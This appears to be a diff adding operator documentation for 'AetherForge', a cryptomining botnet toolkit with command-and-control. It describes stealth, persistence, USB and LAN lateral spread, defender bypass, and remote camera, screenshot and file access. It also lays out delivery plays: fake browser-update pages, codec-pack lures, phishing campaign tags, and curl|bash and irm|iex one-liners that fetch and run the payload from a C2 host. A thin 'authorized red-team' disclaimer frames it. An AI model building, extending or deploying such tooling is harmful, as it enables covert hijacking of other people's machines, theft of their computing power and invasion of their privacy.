+# Web-Mediated Spread Techniques (Research Summary)
+
+> **Scope:** Documented red-team / threat-intelligence vectors mapped to AetherForge capabilities. For **authorized** penetration testing, lab environments, and defensive planning only. Sources cited below; landscape as of **2024–2026**.
+
+---
+
+## What Does NOT Work Anymore (Be Honest)
+
+| Technique | Status | Why |
+|-----------|--------|-----|
+| **Silent browser RCE** (visit page → shell, no exploit) | **Dead** | Modern Chromium sandboxes, site isolation, removed NPAPI/Flash/Java, aggressive patching. [MITRE T1189](https://attack.mitre.org/techniques/T1189/) still documents drive-by, but commodity ops need **0-day/n-day browser or renderer bugs** (e.g. [CVE-2025-49713](https://zeropath.com/blog/microsoft-edge-cve-2025-49713-type-confusion) — still requires visiting a malicious page and is patched quickly). |
+| **Auto-run from Downloads folder** | **Dead** | Chrome/Edge require **user gesture** for dangerous types; SmartScreen + MoTW on `.exe`, `.msi`, `.js`, `.ps1`, `.bat`, `.zip`. [Microsoft download policy](https://learn.microsoft.com/en-us/deployedge/microsoft-edge-security-downloads-interruptions), [Chrome DownloadRestrictions](https://support.google.com/chrome/a/answer/7579271). |
+| **Flash/Java plugin drive-by** | **Dead** | Plugins removed or click-to-play extinct. |
+| **Unauthenticated `curl \| bash` on cautious admins** | **Hard** | Server can fingerprint pipe-to-shell timing and serve benign vs malicious scripts ([curlbash_detect](https://github.com/Stijn-K/curlbash_detect), [idontplaydarts](https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/)). Mitigation: download → inspect → run. |
+| **CRX sideloading via normal download** | **Dead** | `.crx` blocked under DownloadRestrictions; Web Store policy blocks casual sideload. Supply-chain via **compromised extension updates** is the modern path ([GitLab tech note](https://gitlab-com.gitlab.io/gl-security/security-tech-notes/threat-intelligence-tech-notes/malicious-browser-extensions-feb-2025/)). |
+
+**Still works with friction:** User must **click download + run** (or run a one-liner they pasted). MoTW bypasses (LNK tricks, [FileFix 2.0](https://cybernoz.com/filefix-attack-exploits-windows-browser-features-to-bypass-mark-of-the-web-protection/), [7-Zip MoTW CVE-2025-0411](https://asec.ahnlab.com/en/87091/)) are **patch-cat-and-mouse**, not reliable baselines.
+

+
+## Technique Matrix
+
+### Owned site (you control origin)
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **Dropper landing page** — button/link → `/get` or spread-kit ZIP | **Easy** | Med (URL reputation, TLS logs) | **Has:** `/get`, `/install.ps1`, `/install.sh`, `?pin=`, `?c=` campaign tags. **Needs:** `spread-kit-web-publisher` static templates (API exists; templates missing). |
+| **curl \| bash / `irm \| iex` docs page** — install instructions for servers | **Easy** | Med (EDR script block, proxy logs) | **Has:** `install.sh` / `install.ps1` with UA-aware `/get`, campaign env (`AETHER_CAMPAIGN`). Pin build via `?pin={build_id}`. |
+| **Fake browser / app update page** (SocGholish pattern) | **Medium** | High (browser update lures heavily signatured) | **Has:** dropper + spread-kit launchers. **Needs:** branded HTML lander, geo/UA gate, optional TDS. See [Trend Micro SocGholish](https://www.trendmicro.com/en/research/25/c/socgholishs-intrusion-techniques-facilitate-distribution-of-rans.html). |
+| **JS redirect / referrer gate** (search → your lander) | **Medium** | Med–High (injected-script hunting) | **Needs:** fingerprint JS in web-publisher kit; **Has:** campaign tracking on final fetch. [JSFireTruck](https://unit42.paloaltonetworks.com/malicious-javascript-using-jsfiretruck-as-obfuscation/) scale shows pattern is alive but noisy. |
+| **Fusion media download** — “codec pack” / movie bundle | **Medium** | Med (large ZIP, SmartScreen) | **Has:** movie/prep fusion ZIP, disguised runner names, spread-kit scripts inside universal bundles. |
+| **Service worker persistence** (AiTM / proxy) | **Hard** | Med | **Needs:** full PWA stack; feasible for **credential phishing**, not binary drop without user download. [EvilWorker](https://github.com/Ahaz1701/EvilWorker), [Akamai SW abuse](https://www.akamai.com/blog/security/abusing-the-service-workers-api). |
+| **WASM obfuscated redirect** | **Hard** | Med | **Needs:** custom WASM module; evades some static JS scanners, not browser API monitors ([arxiv WASM study](https://arxiv.org/pdf/2508.21219)). Still ends at **user-run binary**. |
+| **Waterhole on owned niche site** | **Easy** (if you own it) | Low–Med on first party | Same as dropper landing + organic traffic; [MITRE T1189](https://attack.mitre.org/techniques/T1189/). |
+
+### Third-party platforms
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **GitHub Releases / raw CDN** | **Easy** | Med (SmartScreen, GitHub abuse reports) | **Has:** build artifacts; **Needs:** separate release pipeline, not C2 host. [Microsoft malvertising→GitHub](https://www.microsoft.com/en-us/security/blog/2025/03/06/malvertising-campaign-leads-to-info-stealers-hosted-on-github/). |
+| **S3 / Cloudflare Pages / R2 / workers.dev** | **Easy** | Med–High (platform abuse ML) | **Needs:** static publisher ZIP deployed off C2. [Fortra Pages abuse](https://www.fortra.com/blog/cloudflare-pages-workers-domains-increasingly-abused-for-phishing), [Cofense Cloudflare abuse](https://cofense.com/blog/how-cloudflare-services-are-abused-for-credential-theft-and-malware-distribution). |
+| **npm / PyPI / Docker Hub supply chain** | **Hard** | High (registry scanning, MFA) | **Needs:** wholly separate packaging pipeline; not in forge today. [Shai-Hulud](https://securelist.com/shai-hulud-worm-infects-500-npm-packages-in-a-supply-chain-attack/117547/), [GitGuardian 48h campaigns](https://blog.gitguardian.com/three-supply-chain-campaigns-hit-npm-pypi-and-docker-hub-in-48-hours/). |
+| **WordPress plugin/theme compromise** | **Hard** (unless you own plugin) | High | **Needs:** PHP injector + redirect to your dropper URL. [EssentialPlugin 2026](https://patchstack.com/articles/critical-supply-chain-compromise-on-20-plugins-by-essentialplugin/), [CVE-2024-6297](https://cve.circl.lu/vuln/cve-2024-6297). |
+| **Compromised shared hosting → web shell** | **Hard** | High | **Needs:** nothing in forge; lateral movement is post-compromise ([MITRE T1505.003](https://attack.mitre.org/techniques/T1505/003/), [Sucuri cross-contamination](https://blog.sucuri.net/2024/01/dangers-of-lateral-movement-website-cross-contamination.html)). |
+| **Browser extension sideload / store takeover** | **Dead** (sideload) / **Hard** (store) | High | Extension **updates** via stolen publisher OAuth ([BleepingComputer 35 extensions](https://www.bleepingcomputer.com/news/security/new-details-reveal-how-hackers-hijacked-35-google-chrome-extensions/)). Not mapped to forge binaries. |
+
+### Social engineering funnel (email / ads → site → file)
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **Email → link → owned lander → download** | **Easy** | Med (email gateway) | **Has:** campaign `?c=` on `/get` and public download; agent stores `campaign` on connect. |
+| **OAuth redirect abuse** (`prompt=none` → attacker redirect URI → `/download`) | **Medium** | Med–High | **Needs:** Entra/Google OAuth app + redirect HTML; payload can point to `install.ps1` or ZIP. [Microsoft 2026](https://www.microsoft.com/en-us/security/blog/2026/03/02/oauth-redirection-abuse-enables-phishing-malware-delivery/), [Proofpoint TA416](https://www.proofpoint.com/us/blog/threat-insight/id-come-running-back-eu-again-ta416-resumes-european-government-espionage). |
+| **SEO poisoning / malvertising** | **Medium** | High (ad review, cloaking detection) | **Needs:** ad account + cloaking + lander; payload can be fusion ZIP or spread-kit. [Malwarebytes utility ads 2024](https://www.malwarebytes.com/blog/threat-intel/2024/10/large-scale-google-ads-campaign-targets-utility-software), [MSIX SEO poisoning](https://www.precursorsecurity.com/blog/seo-poisoning-delivering-msix-installer-malware). |
+| **IFRAME / HTML smuggling** | **Medium** | Med | **Needs:** client-side blob builder; still requires user to run extracted file. Often chained with OAuth redirect above. |
+
+### Server-specific (endpoints: Linux/macOS/Windows servers)
+
+| Technique | Feasibility | Detection risk | AetherForge mapping |
+|-----------|-------------|----------------|---------------------|
+| **`curl -sL host/install.sh \| bash`** | **Easy** | Med (FIM, auditd, EDR) | **Has:** full pipeline; `install.sh` → `/get?os=linux` + spread-kit unzip path. |
+| **`irm \| iex` on Windows Server** | **Easy** | Med–High (AMSI, Constrained Language) | **Has:** `install.ps1`; hidden `cmd /c Deploy.bat` for spread-kit ZIP. |
+| **Trojanized “monitoring agent” docs** | **Easy** | Low–Med if first-party domain | Same dropper; pin worker with `?pin=` for stable fleet profile. |
+| **Docker `curl \| bash` in README** | **Medium** | High | **Needs:** separate Docker image story; agent has Docker E2E path but not publish pipeline. |
+| **Web shell → curl dropper** | **Medium** (post-compromise) | High | Operator runs `curl` from shell; **Has:** dropper endpoints unauthenticated by design ([API-D09](PROBLEMS.md)). |
+

+
+## AetherForge Stack: Has vs Needs
+
+### Already built
+
+- **Dropper URL:** `GET /get`, `GET /install.sh`, `GET /install.ps1` — UA platform detect, `?pin={build_id}`, `?c={campaign}` ([`dropper_handler.go`](../server/internal/api/dropper_handler.go))
+- **Forge outputs:** single-platform exe, **Spread Kit** ZIP (`Deploy.bat`, `deploy.sh`, `Start.command`), **Fusion** media packages
+- **Public downloads:** `GET /api/v1/public/download/{id}?c=` with campaign logging
+- **Campaign analytics:** `campaign_hits` table with `event_type` (`page_hit`, `download`, `agent_connect`), `GET /api/v1/emberwake/war-room?days=7`, agent `campaign` field on register
+- **Campaign War Room UI:** Emberwake tab — funnel board (hits → downloads → first beacon → mining → hashrate) with per-stage conversion %, 7d sparklines, leak callouts, and stats table toggle; 15s poll + WS `emberwake_war_room` tick
+- **Build Manager UI:** copies `iex (irm '…/install.ps1')`, pin/active dropper
+
+### In progress / gaps
+
+| Gap | Emberwake / web-publisher role |
+|-----|-------------------------------|
+| `spread-kit-web-publisher/` templates **missing** | Static site ZIP export via `POST /api/v1/builder/spread-kit-export` (404 today) |
+| Emberwake **UI tab** not in web app | Notes + campaign API exist server-side only |
+| No **fake-update** HTML kit | SocGholish-style lander |
+| No **JS fingerprint / TDS** gate | Filter bots, mobile, non-target geo before showing download |
+| No **OAuth redirect** helper | Entra app registration docs only |
+| No **package registry** publish | npm/PyPI/Docker supply chain out of scope for forge |
+
+---
+
+## Five Recommended Plays — Sites You Own
+
+Prioritized for **authorized** red-team / lab use where you control DNS and TLS.
+
+1. **First-party install docs page (servers)**  
+   Host `install.sh` instructions on your domain: `curl -sL https://your.site/install.sh | bash` and PowerShell `irm|iex` for Win admins. Use `?pin=` for a fixed forge profile and `?c=docs` for attribution. Lowest friction for **Linux fleet / VPS** targets; maps 1:1 to existing dropper.
+
+2. **Spread-kit web publisher (static lander)**  
+   Ship the missing `spread-kit-web-publisher` template: single HTML “Download for your OS” button calling `/get?os=…&c=landing`. Deploy to **Cloudflare Pages** or your origin; keep C2 on separate host. Completes the Emberwake export path already wired in API.
+
+3. **Fusion bundle as “media/tool download”**  
+   Use movie or prep fusion ZIP on a themed site (e.g. “codec pack”, “portable tool”). Universal bundle auto-picks `Deploy.bat` / `deploy.sh`. Higher size; pair with **code signing** (`sign_build`) to reduce SmartScreen friction.
+
+4. **Campaign-tagged fake-update page (endpoints)**  
+   Clone the **SocGholish** pattern at reduced scope: browser-specific “update required” → ZIP with spread-kit or `Update.js`-style launcher equivalent (`Deploy.vbs`). Track `?c=update-chrome`. High detection risk; use only in controlled purple-team exercises.
+
+5. **Email → owned lander → pinned build**  
+   Simple HTML on your site; link `https://c2.example/get?pin={id}&c=phish1` or public artifact URL. Chain with **Emberwake campaign stats** to measure fetch vs install (agent connect). No third-party CDN required.

+        <h2>Overview — What is AetherForge?</h2>
+        <p>
+          AetherForge is a <strong>self-hosted mining control plane</strong> for machines you own or administer.
+          One control PC runs the Go server on port <code>8989</code>; a React command deck shows live fleet stats;
+          cross-platform worker agents mine Monero (CPU) and optionally Ravencoin (GPU), phone home over WebSocket,
+          and accept remote commands from the Crucible terminal.
+        </p>
+        <p>
+          Unlike cloud pool dashboards, you bake configuration at forge time — wallet, pool, server URL, stealth,
+          persistence, USB spread, fusion packaging — then distribute a single binary or ZIP. The server proxies
+          Stratum to your pool, stores fleet state in SQLite, and gates access with HTTP Basic auth plus a per-fleet
+          secret baked into every agent.
+        </p>
+        <p>
+          The workflow is: <strong>Calibrate</strong> (Settings) → <strong>Forge</strong> (Builder) → deploy once per
+          worker → monitor on <strong>Command Deck</strong> and <strong>Fleet Roster</strong>. Optional layers include
+          prep/movie fusion, USB perpetual propagation, LAN lateral spread, Emberwake campaign links, and Path Tracer
+          WireGuard multi-hop routing.
+        </p>

+      <section id="quick-start">
+        <h2>Quick Start</h2>
+        <p>
+          The fastest path on a Windows control PC is <code>devrun.bat</code> at the repo root. It installs Go and Node
+          if missing, builds the React dashboard, compiles <code>bin\miner-server.exe</code>, copies
+          <code>server\web\dist</code> → <code>server\webroot</code>, and starts the server. The browser opens
+          <code>http://localhost:8989</code>.
+        </p>
+        <p>
+          First run creates <strong>admin</strong> and <strong>comrade</strong> accounts with random passwords printed
+          in the console and saved to <code>data/login-credentials.json</code>. Sign in, open <strong>Calibrate</strong>,
+          set wallet + pool + public URL, then <strong>Forge</strong> a worker pointing at your LAN IP or tunnel URL.
+        </p>
+
+        <h3>devrun.bat (development)</h3>
+        <pre><code>devrun.bat
+# → http://localhost:8989
+# Console shows first-run passwords</code></pre>
+
+        <h3>Manual build</h3>
+        <pre><code>cd server\web
+npm install
+npm run build
+
+cd ..\..
+xcopy /E /I /Y server\web\dist\* server\webroot\
+
+cd server
+go build -ldflags="-s -w" -o ..\bin\miner-server.exe .
+
+cd ..
+bin\miner-server.exe -port 8989 -data .\data</code></pre>
+
+        <h3>Docker (Tier 2 CI / Linux agent)</h3>
+        <p>
+          For isolated server + Linux agent regression without a Windows VM, use the Docker compose stack. Server
+          listens on host port <strong>18989</strong>; credentials are <code>testuser</code> / <code>testpass</code>
+          (see <code>docker/data/users.json</code>).
+        </p>
+        <pre><code>docker compose -f docker/docker-compose.yml up --build
+# Dashboard: http://localhost:18989
+# Teardown: docker compose -f docker/docker-compose.yml down --rmi local -v</code></pre>
+        <p>Full notes: <code>docker/README.md</code>. Agent container has no internet egress — mines via server-broadcast jobs only.</p>
+
+        <h3>Portable USB deck</h3>
+        <p>
+          Run <code>pack-usb.bat</code> to build <code>usb\AetherForge.exe</code> with bundled webroot, agent source,
+          and Go toolchain. Copy <code>usb\</code> to a USB drive; double-click <code>LAUNCH.bat</code> on any Windows PC.
+          See the <a href="#usb-portable">USB Portable Deck</a> section for details.

+      <section id="dashboard">
+        <h2>Dashboard</h2>
+        <p>
+          The React command deck is the operator-facing UI. After login, the main routes cover fleet overview,
+          agent roster, forge builder, build manager, Crucible remote terminal, Emberwake campaigns, Path Tracer,
+          and Calibrate settings. Advanced mode unlocks matrix rain overlay, AI activity panel, and extra forge options.

+        <p>
+          Live data flows over <code>/ws/dashboard</code> using a one-time ticket from
+          <code>POST /api/v1/auth/ws-ticket</code>. Fleet health score (0–100) weights online percentage, accept rate,
+          pool status, and hashrate. The 3D topology map (React Three Fiber) orbits agents around the server node.
+        </p>
+
+        <h3>Command Deck (home)</h3>
+        <ul>
+          <li>Fleet hashrate gauges, CPU/RAM, share feed, XMR price (CoinGecko, 10 min cache)</li>
+          <li>Contribution map with USD/day estimates; underperformer list (&lt;70% median)</li>
+          <li>OS/arch breakdown, LAN group view by /24 subnet</li>
+          <li>Monero and Ravencoin sections (separate CPU vs GPU stats)</li>
+          <li>Install funnel — agents per build over 7 days, USB-spread flag</li>
+          <li>Operator audit strip — last forge, commands, config saves</li>
+        </ul>
+        <div class="wiki-screenshot">[Screenshot: Dashboard fleet health + contribution map]</div>
+
+        <h3>Fleet Roster (Agents)</h3>
+        <ul>
+          <li>Compact rows — click to expand inline details and remote action strip</li>
+          <li><strong>Fleet Groups</strong> — multi-select, named colour-coded groups; selectable in Crucible</li>
+          <li>Remote control: pause/resume/restart miner, sysinfo, screenshot, live view, camera, file browser (Windows)</li>
+          <li>Power: reboot, shutdown, Wake-on-LAN (UDP magic packet to stored MAC)</li>
+          <li>Live stats ticker every 5s while agent online; offline banner disables controls</li>
+        </ul>
+
+        <h3>Crucible (Command Terminal)</h3>
+        <p>
+          Select one or many agents (or a Fleet Group). Send raw commands, PowerShell, or preset ops. Output streams
+          to the terminal in real time. Gold rain overlay activates when a single agent is selected. Expanded ops
+          include firewall suite, UPnP, mesh status, fleet upgrade, registry panel, SMB shares, spread status,
+          credential vault list (names only), secure wipe, and port-forward matrix.
+        </p>
+
+        <h3>Emberwake</h3>
+        <p>
+          Dashboard tab at <code>/emberwake</code> — campaign link builder, A/B <code>?pin=</code> rotation,
+          spread-kit export, shared operator notes (WebSocket sync). Copies one-liners for
+          <code>curl|bash</code>, <code>irm|iex</code>, and public download URLs with <code>?c=</code> campaign tags.
+        </p>
+
+        <h3>Path Tracer</h3>
+        <p>
+          Multi-hop WireGuard path builder. Hop 1 gets client peer <code>10.66.0.1/32</code>; multi-hop adds reverse
+          peers on middle/exit hops. Sessions auto-expire after 2 hours with <code>wg_teardown</code>. Windows agents
+          may auto-download WireGuard on first use if not pre-installed.
+        </p>
+
+        <h3>Calibrate (Settings)</h3>
+        <ul>
+          <li>Wallet, pool, public URL, users, fleet secret rotation</li>
+          <li>Telegram + SMTP alert notifications and thresholds</li>
+          <li>Fleet task scheduler — on_connect, interval, cron</li>
+          <li>Cloudflare tunnel token, tunnel defaults</li>
+          <li><code>public_builds_enabled</code> — expose all builds on unauthenticated public API</li>

+        <p>
+          AetherForge supports multiple distribution vectors: USB perpetual propagation, LAN lateral movement (SMB /
+          WinRM on Windows, SSH on Linux/macOS), waterhole dropper pages, and one-liner install scripts. Campaign
+          attribution uses <code>?c=slug</code> on dropper and public download URLs; agents report

+        <p>
+          Modern browsers block silent drive-by execution — users must click download and run. AetherForge maps to

+          build chains. See also <a href="SPREAD_TECHNIQUES.md">SPREAD_TECHNIQUES.md</a> for the full technique matrix.

+        <h3>Staged modules (runtime feature packs)</h3>
+        <p>
+          Thin agents can enable forge flags at runtime without re-forging. The server stores signed JSON manifests in
+          <code>data/modules/</code>. Default packs:
+        </p>
+        <ul>
+          <li><strong>Crucible Ops</strong> (<code>crucible_ops</code>) — <code>remote_aggressive</code> for dashboard tunnels, scans, firewall, defender bypass</li>

+        </ul>
+        <p>
+          Each manifest includes <code>display_name</code>, <code>summary</code>, <code>description</code>,
+          <code>capabilities</code> (human-readable list for the dashboard preview), and <code>features</code> (agent
+          flags). Forge operation modes (PathForge, Spread Kit, Crucible Storm, etc.) stay intact — packs are runtime
+          add-ons, not replacements.
+        </p>
+        <p>
+          <strong>UI flow:</strong> Calibrate → <strong>Staged Modules</strong> → pick a pack card → choose target
+          (all online or fleet group) → review preview → <em>Push Crucible Ops to Group X</em>. The server queues
+          <code>fetch_module</code>; the worker downloads
+          <code>GET /api/v1/agent/module/&#123;name&#125;</code> with <code>X-Fleet-Secret</code>, verifies HMAC, applies
+          flags in memory, and emits <code>capabilities_update</code>. The dashboard shows a success toast when agents
+          report updated capabilities.

+        <p>
+          Calibrate → <strong>Fleet Policy</strong> pushes <code>policy_update</code> over WebSocket (or HTTPS beacon

+          <code>max_cpu_usage_pct</code>, and optional pool host/port overrides. The miner schedule guard and CPU cap
+          update without restart; pool overrides apply to Stratum fallback and local resource guards.

+        <h2>Mining — XMR, RVN/GPU, Pools</h2>
+        <p>
+          CPU mining uses RandomX via pure-Go <code>go-randomx</code> (BSD-3-Clause). Workers submit shares through
+          the server's Stratum proxy — one upstream connection per wallet/host with <code>PaymentID</code> in the pool
+          key to avoid integrated-address collisions. If C2 is unreachable for &gt;30s, agents mine directly to the
+          pool and return to proxy when reconnected.
+        </p>
+        <p>
+          GPU mining (Windows only) auto-detects vendor at runtime: NVIDIA uses T-Rex (CUDA), AMD uses TeamRedMiner
+          (OpenCL), both on KawPoW for Ravencoin. Local HTTP API polling reports 15s/1m/15m hashrate, temperature,
+          fan speed, and power draw.

+        <p>
+          Use tiered validation before production fleet deployment. Tier 0 proves mining only; Tier 1 runs automated
+          CI; Tier 2 uses Docker or Linux VM for C2 regression; Tier 3 requires a disposable Windows VM for full
+          payload tests (spread, GPU, screenshot, aggressive ops).

+          hashrate &gt; 0 via <code>GET /api/v1/agents</code> and <code>GET /api/v1/dashboard/stats</code>
+          (Basic auth <code>testuser</code> / <code>testpass</code>). Test wallet and fleet secret are fixed in
+          <code>docker/data/config.json</code> and <code>docker/agent-builtin.go</code>.

+        <p>
+          Severity-ranked audit lives in <code>PROBLEMS.md</code> at the repo root. Check before large fleet deployment.
+          Many builder and API issues from the 2026-06-04 pass are fixed; below are notable open or deferred items.
+        </p>
+
+        <h3>Dashboard (deferred)</h3>
+        <ul>
+          <li>Flaky forge progress simulation — cosmetic stage timeline caps at 94% until server responds</li>
+          <li>Path Forge / batch fusion test gaps — cancellation and partial failure races</li>
+          <li>Dual storage without sync policy — session preferred over local on logout</li>
+        </ul>
+
+        <h3>Fusion / PathForge</h3>
+        <ul>
+          <li><code>fusion/</code> package has no direct unit tests (coverage in builder fusion tests)</li>
+          <li>Windows agent may auto-download WireGuard on first Path Tracer use — operator should pre-install</li>
+          <li>Mac PathForge <code>.command</code> requires <code>server_url</code> + <code>/api/download/agent-mac</code> at runtime</li>
+        </ul>
+
+        <h3>Agent</h3>
+        <ul>
+          <li>macOS: firewall aggressive ops, camera, GPU miner — stubs or partial</li>
+          <li>Linux screenshot in headless containers needs <code>xvfb</code> + scrot</li>
+          <li>WebSocket/beacon paths are integration-tested via Docker Tier 2</li>
+        </ul>
+
+        <h3>Spread / Emberwake gaps</h3>
+        <ul>
+          <li><code>spread-kit-web-publisher/</code> static templates — API export exists; branded HTML kits in progress</li>
+          <li>No built-in OAuth redirect helper or package-registry publish pipeline</li>
+        </ul>
+
+        <h3>Server (low)</h3>
+        <ul>
+          <li><code>db.New</code> ignores <code>MkdirAll</code> failure</li>
+        </ul>

+# Campaign tracking (`?c=`)
+
+Append `?c=your-campaign-slug` to any waterhole or server dropper URL. Hits are logged server-side; agents that install via the script inherit `AETHER_CAMPAIGN` and report it on first connect.
+
+## Examples
+
+| Link | Use |
+|------|-----|
+| `https://yoursite.example/page?c=linkedin-bait` | Static page with `index.html` reading `location.search` |
+| `{{SERVER_URL}}/get?c=usb-drop` | Direct binary fetch |
+| `{{SERVER_URL}}/install.ps1?c=vps-curl` | PowerShell one-liner |
+| `{{SERVER_URL}}/get?pin=BUILD_ID&c=ab-test-b` | A/B pinned build + campaign |
+
+## A/B rotation
+
+Pin build **A** in Builds → copy `?pin=<id-a>&c=wave-a`. Pin build **B** for the next wave. Emberwake tab builds these links for you.
+
+## Slug rules
+
+Alphanumeric, dash, underscore, dot — max 64 chars. Avoid spaces.
